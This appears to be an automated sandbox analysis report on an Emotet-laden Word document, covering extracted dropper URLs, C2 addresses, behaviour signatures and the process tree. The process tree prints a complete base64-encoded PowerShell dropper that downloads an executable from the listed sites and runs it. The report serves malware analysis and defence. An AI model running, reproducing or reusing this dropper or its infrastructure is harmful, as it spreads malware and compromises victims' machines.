Analysis

  • max time kernel
    139s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    15/09/2020, 16:16

General

  • Target
    CST_090120_QQZ_091520.doc
  • Size 158KB
  • Sample200915-zdcsnj9xae
  • SHA256 84a3218db211f14f6afaf90ced3a518193158b80bbbf43bbf82a955d6064fa2d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://case.gonukkad.com/sys-cache/CjT/

  • exe.dropper

    https://starrcoin.net/wp-admin/YT/

  • exe.dropper

    http://modelaw.devkind.com.au/wp-admin/cvDRmGK/

  • exe.dropper

    http://dprkp.palembang.go.id/sys-cache/7Y4aHw/

  • exe.dropper

    http://completeguideblogging.com/euiot/PAuJG/

  • exe.dropper

    http://qutiche.cn/wp-admin/Q/

  • exe.dropper

    https://shiva-engineering.com/1cj/tKemHV7/

Extracted

Family
  • emotet

C2
  • 75.80.124.4:80

  • 134.209.36.254:8080

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 107.5.122.110:80

  • 195.251.213.56:80

  • 91.211.88.52:7080

  • 79.98.24.39:8080

  • 75.139.38.211:80

  • 82.225.49.121:80

  • 162.241.242.173:8080

  • 94.1.108.190:443

  • 85.105.205.77:8080

  • 181.169.34.190:80

  • 24.179.13.119:80

  • 139.59.67.118:443

  • 82.80.155.43:80

  • 50.91.114.38:80

  • 93.147.212.206:80

  • 153.232.188.106:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\CST_090120_QQZ_091520.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2584
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABVADkAcABmAHcAeQBqAD0AKAAoACcAQgA2ACcAKwAnAF8AJwApACsAKAAnAG8AOABfACcAKwAnAHAAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAHIAUABSAG8ARgBJAEwAZQBcAEsAWABmAEUARAAxADQAXABEAFMANQA4ADMAUgBoAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBgAGkAYABUAHkAUAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAdABsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAFMAYQBrAGYAegBuAHoAIAA9ACAAKAAoACcAVQAnACsAJwBpADAAaQAnACkAKwAoACcANgBtACcAKwAnADYAJwApACkAOwAkAEkAbwBqAGgAMgBqAGEAPQAoACgAJwBWAF8AJwArACcAbgAzADAAdAAnACkAKwAnAHUAJwApADsAJABNAGYAagBuAHoAdQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwBLAGsASwB4ACcAKwAnAGYAZQBkACcAKwAnADEANAA5AEsAawBEAHMAJwApACsAJwA1ADgAJwArACgAJwAzAHIAJwArACcAaAA5AEsAJwArACcAawAnACkAKQAgAC0AcgBlAFAAbABBAGMAZQAgACgAJwA5ACcAKwAnAEsAawAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQAUwBhAGsAZgB6AG4AegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEsAdwBjAGkAMgBvADkAPQAoACcAQgB0ACcAKwAoACcAZQAnACsAJwB1AHQAMABxACcAKQApADsAJABIAGoAOAA3AGwANgBiAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMATABJAEUAbgB0ADsAJABEAGkAeAB6AG8AZwBlAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwBjACcAKwAnAGEAJwArACcAcwAnACkAKwAoACcAZQAuAGcAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB1AGsAawBhAGQALgBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACcAcwAnACsAKAAnAHkAcwAnACsAJwAtAGMAYQAnACkAKwAoACcAYwBoAGUALwAnACsAJwBDACcAKQArACgAJwBqACcAKwAnAFQALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AcwAnACsAJwB0AGEAcgAnACsAJwByAGMAbwAnACsAJwBpAG4ALgAnACsAJwBuACcAKQArACcAZQAnACsAKAAnAHQALwAnACsAJwB3AHAALQBhAGQAbQBpAG4AJwArACcALwBZACcAKwAnAFQALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvACcAKwAnAG0AbwBkAGUAbABhAHcAJwArACcALgBkACcAKwAnAGUAdgAnACkAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKQArACgAJwBhAHUAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYQBkACcAKQArACgAJwBtAGkAJwArACcAbgAnACsAJwAvAGMAJwArACcAdgBEACcAKwAnAFIAbQBHAEsALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAZABwAHIAawBwAC4AJwArACcAcAAnACkAKwAnAGEAbAAnACsAKAAnAGUAbQBiAGEAbgAnACsAJwBnACcAKQArACcALgAnACsAJwBnACcAKwAoACcAbwAuACcAKwAnAGkAZAAvAHMAeQBzAC0AJwArACcAYwBhACcAKwAnAGMAJwApACsAKAAnAGgAZQAvADcAJwArACcAWQA0AGEAJwApACsAKAAnAEgAJwArACcAdwAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAHAAbABlAHQAZQBnACcAKQArACgAJwB1ACcAKwAnAGkAZABlAGIAJwApACsAJwBsACcAKwAnAG8AZwAnACsAJwBnACcAKwAoACcAaQBuACcAKwAnAGcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBlAHUAaQBvAHQAJwApACsAKAAnAC8AUABBACcAKwAnAHUASgBHACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AcQAnACsAJwB1AHQAaQAnACsAJwBjAGgAZQAnACkAKwAoACcALgBjACcAKwAnAG4AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAnAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwAvACcAKQArACgAJwBRAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcwAnACkAKwAoACcAaABpAHYAYQAtACcAKwAnAGUAbgAnACsAJwBnAGkAbgBlACcAKwAnAGUAcgAnACsAJwBpAG4AJwArACcAZwAuAGMAbwBtACcAKwAnAC8AMQBjACcAKwAnAGoALwB0AEsAJwArACcAZQAnACkAKwAoACcAbQBIACcAKwAnAFYAJwApACsAJwA3AC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAeQA1AGgAcABiADQAPQAoACcAVwAxACcAKwAoACcAdgA5ACcAKwAnAHgAJwApACsAJwB5AGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQByAG8AbQA2AGEAcgAgAGkAbgAgACQARABpAHgAegBvAGcAZQApAHsAdAByAHkAewAkAEgAagA4ADcAbAA2AGIALgAiAGQAYABPAFcAbgBMAG8AQQBgAEQARgBgAEkATABlACIAKAAkAFEAcgBvAG0ANgBhAHIALAAgACQATQBmAGoAbgB6AHUAZgApADsAJABSAGgANQBpAGsAeABfAD0AKAAnAE0AZQAnACsAKAAnAGUAaABmAHEAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAGYAagBuAHoAdQBmACkALgAiAGwARQBgAE4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAOQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQATQBmAGoAbgB6AHUAZgApADsAJABYAHoAawB6AG0AbQBuAD0AKAAoACcARwAnACsAJwBuAGEANQAnACkAKwAnAF8AJwArACcAcwBwACcAKQA7AGIAcgBlAGEAawA7ACQAVwA3AGwAZgBoAGcAcQA9ACgAKAAnAFcAMgBrACcAKwAnADgAdwB5ACcAKQArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAcAAxAF8AYQB1AG0APQAoACcATQAnACsAKAAnAHEAYgBqAF8AJwArACcAZQByACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2524
    • C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe
      "C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Windows\SysWOW64\UserDataAccountApis\tbs.exe
        "C:\Windows\SysWOW64\UserDataAccountApis\tbs.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2148

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2064-13-0x00000000009E0000-0x00000000009F2000-memory.dmp

        memory/2064-14-0x0000000000A00000-0x0000000000A10000-memory.dmp

        memory/2148-17-0x0000000002290000-0x00000000022A2000-memory.dmp

        memory/2148-18-0x0000000003AD0000-0x0000000003AE0000-memory.dmp

        memory/2524-8-0x00000232D2740000-0x00000232D2741000-memory.dmp

        memory/2524-9-0x00000232D2960000-0x00000232D2961000-memory.dmp

        memory/2524-7-0x00007FF9E8E00000-0x00007FF9E97EC000-memory.dmp

        memory/2584-6-0x000001F9E2C98000-0x000001F9E2CA3000-memory.dmp

        memory/2584-0-0x00007FF9F0410000-0x00007FF9F0AD6000-memory.dmp

        memory/2584-5-0x000001F9E33CA000-0x000001F9E33D3000-memory.dmp